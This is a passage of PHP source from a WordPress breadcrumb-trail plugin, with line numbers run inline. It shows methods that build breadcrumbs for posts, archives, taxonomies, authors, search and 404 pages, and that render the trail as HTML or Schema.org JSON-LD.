@param object $object the post or taxonomy object used to attempt to find the title 698 * 699 * @return string the title 700 */ 701 protected function post_type_archive_title($object) { 702 if (isset($object->labels->name)) { 703 //Core filter use here is ok for time being 704 //TODO: Recheck validitiy prior to each release 705 return apply_filters('post_type_archive_title', $object->labels->name, $object->name); 706 } 707 } 708 709 /** 710 * Determines if a post type is a built in type or not 711 * 712 * @param string $post_type the name of the post type 713 * 714 * @return bool 715 */ 716 protected function is_builtin($post_type) { 717 $type = get_post_type_object($post_type); 718 //If we get a null, that means either then type wasn't found, or we had 'any' as a type, treat as builtin 719 if ($type === null) { 720 return true; 721 } else { 722 return $type->_builtin; 723 } 724 } 725 726 /** 727 * Determines if the current location is a for a root page or not 728 * 729 * @param string $post_type the name of the post type 730 * @return bool 731 * 732 * TODO: Remove dependancies to current state (state should be passed in) 733 */ 734 protected function treat_as_root_page($post_type) { 735 return (is_home() || (is_post_type_archive() && !$this->opt['bpost_' . $post_type . '_archive_display'])); 736 } 737 738 /** 739 * Determines if a post type has archives enabled or not 740 * 741 * @param string $post_type the name of the post type 742 * 743 * @return bool 744 */ 745 protected function has_archive($post_type) { 746 $type = get_post_type_object($post_type); //TODO need a check on this for WP_Error? 747 return $type->has_archive; 748 } 749 750 /** 751 * Retrieves the query var for 'post_type', sets default to post, and escapes 752 * 753 * @param string $default[optional] The default value to return if nothing was found/set or if post_type was an array 754 * 755 * @return string The post type string found in the post_type query var 756 */ 757 protected function get_type_string_query_var($default = 'post') { 758 $type_str = get_query_var('post_type', $default); 759 if ($type_str === '' || is_array($type_str)) { 760 //If we didn't get a type, or it was an array, try the the first post 761 $post = get_post(); 762 if ($post instanceof WP_Post) { 763 $type_str = $post->post_type; 764 } else { 765 $type_str = $default; 766 } 767 } 768 return esc_attr($type_str); 769 } 770 771 /** 772 * Retrieves the query var for 'post_type', and returns whether or not it is an array 773 * 774 * @return bool Whether or not the post_type query var is an array 775 */ 776 protected function is_type_query_var_array() { 777 return is_array(get_query_var('post_type')); 778 } 779 780 /** 781 * Adds the post type argument to the URL iff the passed in type is not post 782 * 783 * @param string $url The URL to possibly add the post_type argument to 784 * @param string $type[optional] The type to possibly add to the URL 785 * @param string $taxonomy[optional] If we're dealing with a taxonomy term, the taxonomy of that term 786 * 787 * @return string The possibly modified URL 788 */ 789 protected function maybe_add_post_type_arg($url, $type = null, $taxonomy = null) { 790 global $wp_taxonomies; 791 //Rather than default to post, we should try to find the type 792 if ($type == null) { 793 $type = $this->get_type_string_query_var(); 794 } 795 //Add a query arg if we are not on the default post type for the archive in question and the post type is not post 796 $add_query_arg = (!($taxonomy && $type === $wp_taxonomies[$taxonomy]->object_type[0]) && $type !== 'post'); 797 //Filter the add_query_arg logic, only add the query arg if necessary 798 if (apply_filters('bcn_add_post_type_arg', $add_query_arg, $type, $taxonomy)) { 799 $url = add_query_arg(array('post_type' => $type), $url); 800 } 801 return $url; 802 } 803 804 /** 805 * A Breadcrumb Trail Filling Function 806 * 807 * Deals with the post type archive and taxonomy archives 808 * 809 * @param WP_Post|WP_Taxonomy $type The post or taxonomy to generate the archive breadcrumb for 810 * @param string $type_str The type string for the archive 811 * 812 * TODO: Remove dependancies to current state (state should be passed in) 813 */ 814 protected function type_archive($type, $type_str = false) { 815 global $wp_taxonomies; 816 if (!isset($type->taxonomy) && $type_str === false) { //TODO could probably check the class type here 817 $type_str = $this->get_type_string_query_var(); 818 } 819 //If this is a custom post type with a post type archive, add it 820 if ($type_str && !$this->is_builtin($type_str) && $this->opt['bpost_' . $type_str . '_archive_display'] && $this->has_archive($type_str)) { 821 //Place the breadcrumb in the trail, uses the constructor to set the title, prefix, and suffix, get a pointer to it in return 822 $breadcrumb = $this->add(new bcn_breadcrumb($this->post_type_archive_title(get_post_type_object($type_str)), $this->opt['Hpost_' . $type_str . '_template'], array('post', 'post-' . $type_str . '-archive'), get_post_type_archive_link($type_str))); 823 } 824 //Otherwise, if this is a custom taxonomy with an archive, add it 825 else if (isset($type->taxonomy) && isset($wp_taxonomies[$type->taxonomy]->object_type[0]) && !$this->is_builtin($this->get_type_string_query_var($wp_taxonomies[$type->taxonomy]->object_type[0])) && $this->opt['bpost_' . $this->get_type_string_query_var($wp_taxonomies[$type->taxonomy]->object_type[0]) . '_archive_display'] && $this->has_archive($this->get_type_string_query_var($wp_taxonomies[$type->taxonomy]->object_type[0])) && !$this->is_type_query_var_array()) { 826 //We end up using the post type in several places, give it a variable 827 $post_type = apply_filters('bcn_type_archive_post_type', $this->get_type_string_query_var($wp_taxonomies[$type->taxonomy]->object_type[0])); 828 //Place the breadcrumb in the trail, uses the constructor to set the title, prefix, and suffix, get a pointer to it in return 829 $breadcrumb = $this->add(new bcn_breadcrumb($this->post_type_archive_title(get_post_type_object($post_type)), $this->opt['Hpost_' . $post_type . '_template'], array('post', 'post-' . $post_type . '-archive'), get_post_type_archive_link($post_type))); 830 } 831 } 832 833 /** 834 * A Breadcrumb Trail Filling Function 835 * 836 * Handles only the root page stuff for post types, including the "page for posts" 837 * 838 * @param string $type_str The type string variable 839 * @param int $root_id The ID for the post type root 840 * @param bool $is_paged Whether or not the current resource is on a page other than page 1 841 * @param bool $is_current_item Whether or not the breadcrumb being generated is the current item 842 */ 843 protected function do_root($type_str, $root_id, $is_paged = false, $is_current_item = true) { 844 //Nothing to do for the page post type, exit early 845 if ($type_str === 'page') { 846 return; 847 } 848 $frontpage_id = get_option('page_on_front'); 849 //Retrieve the post for the root_id as we will need it eventually 850 $bcn_post = get_post($root_id); 851 //We'll have to check if this ID is valid, e.g. user has specified a posts page 852 if ($bcn_post instanceof WP_Post && $root_id > 0 && $root_id != $frontpage_id) { 853 //Place the breadcrumb in the trail, uses the constructor to set the title, template, and type, we get a pointer to it in return 854 $breadcrumb = $this->add(new bcn_breadcrumb(get_the_title($root_id), $this->opt['Hpost_' . $type_str . '_template_no_anchor'], array($type_str . '-root', 'post', 'post-' . $type_str), null, $root_id)); 855 //If we are at home, or any root page archive then we need to add the current item type 856 if ($is_current_item) { 857 $breadcrumb->add_type('current-item'); 858 } 859 //If we're not on the current item we need to setup the anchor 860 if (!$is_current_item || ($is_current_item && $this->opt['bcurrent_item_linked']) || ($is_paged && $this->opt['bpaged_display'])) { 861 $breadcrumb->set_template($this->opt['Hpost_' . $type_str . '_template']); 862 //Figure out the anchor for home page 863 $breadcrumb->set_url(get_permalink($root_id)); 864 } 865 //Done with the "root", now on to the parents 866 //If there is a parent post let's find it 867 if ($bcn_post->post_parent > 0 && $bcn_post->ID != $bcn_post->post_parent && $frontpage_id != $bcn_post->post_parent) { 868 $this->post_parents($bcn_post->post_parent, $frontpage_id); 869 } 870 } 871 } 872 873 /** 874 * A Breadcrumb Trail Filling Function 875 * 876 * This functions fills a breadcrumb for 404 pages. 877 */ 878 protected function do_404() { 879 //Place the breadcrumb in the trail, uses the bcn_breadcrumb constructor to set the title, prefix, and suffix 880 $this->breadcrumbs[] = new bcn_breadcrumb($this->opt['S404_title'], $this->opt['H404_template'], array('404', 'current-item')); 881 } 882 883 /** 884 * A Breadcrumb Trail Filling Function 885 * 886 * This functions fills a breadcrumb for paged pages 887 * 888 * @param int $page_number The page number to create a breadcrumb for 889 */ 890 protected function do_paged($page_number) { 891 //Place the breadcrumb in the trail, uses the bcn_breadcrumb constructor to set the title, prefix, and suffix 892 $this->breadcrumbs[] = new bcn_breadcrumb((string) $page_number, $this->opt['Hpaged_template'], array('paged')); 893 } 894 895 /** 896 * Breadcrumb Trail Filling Function 897 * 898 * This functions fills the breadcrumb trail. 899 */ 900 public function fill() { 901 global $wpdb, $wp_query, $wp; 902 //Check to see if the trail is already populated 903 if (count($this->breadcrumbs) > 0) { 904 //Exit early since we have breadcrumbs in the trail 905 return null; 906 } 907 if ($this->opt['bblog_display']) { 908 $this->opt['apost_post_root'] = get_option('page_for_posts'); 909 } else { 910 $this->opt['apost_post_root'] = false; 911 } 912 //Do any actions if necessary, we past through the current object instance to keep life simple 913 do_action('bcn_before_fill', $this); 914 $type = $wp_query->get_queried_object(); 915 //Do specific opperations for the various page types 916 //Check if this isn't the first of a multi paged item 917 if ($this->opt['bpaged_display'] && (is_paged() || is_singular() && get_query_var('page') > 1)) { 918 //Need to switch between paged and page for archives and singular (posts) 919 if (get_query_var('paged') > 0) { 920 //Can use simple type hinting here to int since we already checked for greater than 0 921 $page_number = (int) abs(get_query_var('paged')); 922 } else { 923 $page_number = (int) abs(get_query_var('page')); 924 } 925 $this->do_paged($page_number); 926 } 927 //For the front page, as it may also validate as a page, do it first 928 if (is_front_page()) { 929 //Must have two seperate branches so that we don't evaluate it as a page 930 if ($this->opt['bhome_display']) { 931 $this->do_home(false, is_paged()); 932 } 933 } 934 //For posts 935 else if (is_singular()) { 936 $this->do_post(get_post(), false, (get_query_var('page') > 1)); 937 //If this is an attachment then we need to change the queried object to the parent post 938 if (is_attachment()) { 939 //Could use the $post global, but we can't really trust it 940 $post = get_post(); 941 $type = get_post($post->post_parent); //TODO check for WP_Error? 942 } 943 $this->do_root($type->post_type, $this->opt['apost_' . $type->post_type . '_root'], is_paged(), false); 944 } 945 //For searches 946 else if (is_search()) { 947 $this->do_search(get_search_query(), is_paged()); 948 } 949 //For author pages 950 else if (is_author()) { 951 $this->do_author($type, is_paged()); 952 $this->do_root('post', $this->opt['aauthor_root'], is_paged(), false); 953 } 954 //For archives 955 else if (is_archive()) { 956 //We need the type for later, so save it 957 $type_str = get_query_var('post_type'); 958 //May be an array, if so, rewind the iterator and grab first item 959 if (is_array($type_str)) { 960 $type_str = reset($type_str); 961 } 962 //For date based archives 963 if (is_date()) { 964 //First deal with the day breadcrumb 965 if (is_day()) { 966 $this->do_day(get_post(), $this->get_type_string_query_var(), is_paged(), true); 967 } 968 //Now deal with the month breadcrumb 969 if (is_month() || is_day()) { 970 $this->do_month(get_post(), $this->get_type_string_query_var(), is_paged(), is_month()); 971 } 972 $this->do_year(get_post(), $this->get_type_string_query_var(), is_paged(), is_year()); 973 $type_str = $this->get_type_string_query_var(); 974 $this->type_archive($type, $type_str); 975 } 976 //If we have a post type archive, and it does not have a root page generate the archive 977 else if (is_post_type_archive() && !isset($type->taxonomy) && (!is_numeric($this->opt['apost_' . $type_str . '_root']) || $this->opt['bpost_' . $type_str . '_archive_display'])) { 978 $this->do_archive_by_post_type($this->get_type_string_query_var(), is_paged()); 979 } 980 //For taxonomy based archives 981 else if (is_category() || is_tag() || is_tax()) { 982 $this->do_archive_by_term($type, is_paged()); 983 $this->type_archive($type); 984 $type_str = $this->get_type_string_query_var($GLOBALS['wp_taxonomies'][$type->taxonomy]->object_type[0]); 985 } else { 986 $this->type_archive($type); 987 } 988 $this->do_root($type_str, $this->opt['apost_' . $type_str . '_root'], is_paged(), $this->treat_as_root_page($type_str)); 989 } 990 //For 404 pages 991 else if (is_404()) { 992 $this->do_404(); 993 } else { 994 //If it looks, walks, and quacks like a taxonomy, treat is as one 995 if (isset($type->taxonomy)) { 996 $this->do_archive_by_term($type, is_paged()); 997 $this->type_archive($type); 998 $type_str = $this->get_type_string_query_var($wp_taxonomies[$type->taxonomy]->object_type[0]); 999 } 1000 //Otherwise, it's likely the blog page 1001 else if ($this->opt['bblog_display'] || is_home()) { 1002 $type_str = 'post'; 1003 } 1004 if (isset($type_str) && isset($this->opt['apost_' . $type_str . '_root'])) { 1005 $this->do_root($type_str, $this->opt['apost_' . $type_str . '_root'], is_paged(), $this->treat_as_root_page($type_str)); 1006 } 1007 } 1008 //We always do the home link last, unless on the frontpage 1009 if (!is_front_page()) { 1010 $this->do_home(true, false, false); 1011 } 1012 //Do any actions if necessary, we past through the current object instance to keep life simple 1013 do_action('bcn_after_fill', $this); 1014 } 1015 1016 public function fill_REST($item) { 1017 if ($item instanceof WP_Error || $item === null) { 1018 return; 1019 } 1020 //Handle Posts 1021 if ($item instanceof WP_Post) { 1022 $this->do_post($item, false, true); 1023 $this->do_root($item->post_type, $this->opt['apost_' . $item->post_type . '_root'], false, false); 1024 } 1025 //Handle Terms 1026 else if ($item instanceof WP_Term) { 1027 $this->do_archive_by_term($item, true); 1028 $this->type_archive($item); 1029 $type_str = $this->get_type_string_query_var($GLOBALS['wp_taxonomies'][$item->taxonomy]->object_type[0]); 1030 $this->do_root($type_str, $this->opt['apost_' . $type_str . '_root'], is_paged(), $this->treat_as_root_page($type_str)); 1031 } 1032 //Handle Author Archives 1033 else if ($item instanceof WP_User) { 1034 $this->do_author($item, true); 1035 $this->do_root('post', $this->opt['aauthor_root'], false, false); 1036 } 1037 $this->do_home(true, false, false); 1038 } 1039 1040 /** 1041 * This function will either set the order of the trail to reverse key 1042 * order, or make sure it is forward key ordered. 1043 * 1044 * @param bool $reverse[optional] Whether to reverse the trail or not. 1045 */ 1046 protected function order($reverse = false) { 1047 if ($reverse) { 1048 //Since there may be multiple calls our trail may be in a non-standard order 1049 ksort($this->breadcrumbs); 1050 } else { 1051 //For normal opperation we must reverse the array by key 1052 krsort($this->breadcrumbs); 1053 } 1054 } 1055 1056 /** 1057 * This functions outputs or returns the breadcrumb trail in string form. 1058 * 1059 * @param bool $linked[optional] Whether to allow hyperlinks in the trail or not. 1060 * @param bool $reverse[optional] Whether to reverse the output or not. 1061 * @param string $template The template to use for the string output. 1062 * 1063 * @return void Void if Option to print out breadcrumb trail was chosen. 1064 * @return string String-Data of breadcrumb trail. 1065 */ 1066 public function display($linked = true, $reverse = false, $template = '%1$s%2$s') { 1067 //Set trail order based on reverse flag 1068 $this->order($reverse); 1069 //The main compiling loop 1070 $trail_str = $this->display_loop($linked, $reverse, $template); 1071 return $trail_str; 1072 } 1073 1074 /** 1075 * This functions outputs or returns the breadcrumb trail in list form. 1076 * 1077 * @deprecated 6.0.0 No longer needed, superceeded by $template parameter in display 1078 * 1079 * @param bool $linked[optional] Whether to allow hyperlinks in the trail or not. 1080 * @param bool $reverse[optional] Whether to reverse the output or not. 1081 * 1082 * @return void Void if option to print out breadcrumb trail was chosen. 1083 * @return string String version of the breadcrumb trail. 1084 */ 1085 public function display_list($linked = true, $reverse = false) { 1086 _deprecated_function(__FUNCTION__, '6.0', 'bcn_breadcrumb_trail::display'); 1087 return $this->display($return, $linked, $reverse, "<li%3\$s>%1\$s</li>\n"); 1088 } 1089 1090 /** 1091 * This function assembles the breadcrumbs in the breadcrumb trail in accordance with the passed in template 1092 * 1093 * @param bool $linked Whether to allow hyperlinks in the trail or not. 1094 * @param bool $reverse Whether to reverse the output or not. 1095 * @param string $template The template to use for the string output. 1096 * 1097 * @return string String-Data of breadcrumb trail. 1098 */ 1099 protected function display_loop($linked, $reverse, $template) { 1100 $position = 1; 1101 $last_position = count($this->breadcrumbs); 1102 //Initilize the string which will hold the assembled trail 1103 $trail_str = ''; 1104 foreach ($this->breadcrumbs as $key => $breadcrumb) { 1105 $types = $breadcrumb->get_types(); 1106 array_walk($types, 'sanitize_html_class'); 1107 $class = sprintf(' class="%s"', esc_attr(implode(' ', $types))); 1108 //Deal with the separator 1109 if ($position < $last_position) { 1110 $separator = $this->opt['hseparator']; 1111 } else { 1112 $separator = ''; 1113 } 1114 //Filter li_attributes adding attributes to the li element 1115 $attribs = apply_filters_deprecated('bcn_li_attributes', array($class, $breadcrumb->get_types(), $breadcrumb->get_id()), '6.0.0', 'bcn_display_attributes'); 1116 $attribs = apply_filters('bcn_display_attributes', $class, $breadcrumb->get_types(), $breadcrumb->get_id()); 1117 //Trim titles, if requested 1118 if ($this->opt['blimit_title'] && $this->opt['amax_title_length'] > 0) { 1119 //Trim the breadcrumb's title 1120 $breadcrumb->title_trim($this->opt['amax_title_length']); 1121 } 1122 //Assemble the breadrumb and wrap with li's 1123 $trail_str .= sprintf($template, $breadcrumb->assemble($linked, $position), $separator, $attribs); 1124 $position++; 1125 } 1126 return $trail_str; 1127 } 1128 1129 /** 1130 * This functions outputs or returns the breadcrumb trail in Schema.org BreadcrumbList compliant JSON-LD 1131 * 1132 * @param bool $reverse[optional] Whether to reverse the output or not. 1133 * 1134 * @return void Void if option to print out breadcrumb trail was chosen. 1135 * @return object basic object version of the breadcrumb trail ready for json_encode. 1136 */ 1137 public function display_json_ld($reverse = false) { 1138 //Set trail order based on reverse flag 1139 $this->order($reverse); 1140 $trail_str = (object) array( 1141 '@context' => 'http://schema.org', 1142 '@type' => 'BreadcrumbList', 1143 'itemListElement' => $this->json_ld_loop()); 1144 return $trail_str; 1145 } 1146 1147 /** 1148 * This function assembles all of the breadcrumbs into an object ready for json_encode 1149 * 1150 * @return array The array of breadcrumbs prepared for JSON-LD 1151 */ 1152 protected function json_ld_loop() { 1153 $postion = 1; 1154 $breadcrumbs = array(); 1155 //Loop around our breadcrumbs, call the JSON-LD assembler 1156 foreach ($this->breadcrumbs as $breadcrumb) { 1157 $breadcrumbs[] = $breadcrumb->assemble_json_ld($postion); 1158 $postion++; 1159 } 1160 return $breadcrumbs; 1161 } 1162 1163 }